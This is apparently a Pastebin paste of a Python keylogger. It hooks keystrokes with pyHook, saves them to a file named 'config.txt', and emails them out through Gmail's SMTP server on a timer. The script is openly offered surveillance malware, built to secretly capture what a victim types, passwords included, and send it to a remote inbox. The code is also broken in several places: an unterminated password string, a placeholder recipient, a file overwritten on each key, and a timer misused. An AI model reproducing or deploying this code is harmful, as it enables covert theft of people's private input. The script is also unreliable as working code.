Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import pythoncom, pyHook, smtplib, time, threading
- def OnKeyboardEvent(event):
- File = open('config.txt', 'w')
- keyPress = event.Key
- File.write(keyPress)
- return True
- def sendLog():
- File.close()
- File = open('config.txt', 'r')
- msg = File.read()
- gmailUser = 'zachctown@gmail.com'
- gmailPassword = '
- recip = "passwordhere"
- mailServer = smtplib.SMTP('smtp.gmail.com', 587)
- mailServer.ehlo()
- mailServer.starttls()
- mailServer.ehlo()
- mailServer.login(gmailUser, gmailPassword)
- mailServer.sendmail(gmailUser, recip, msg)
- hm = pyHook.HookManager()
- hm.KeyDown = OnKeyboardEvent
- hm.HookKeyboard()
- t = threading.Timer(10.0, sendLog())
- t.start()
- pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement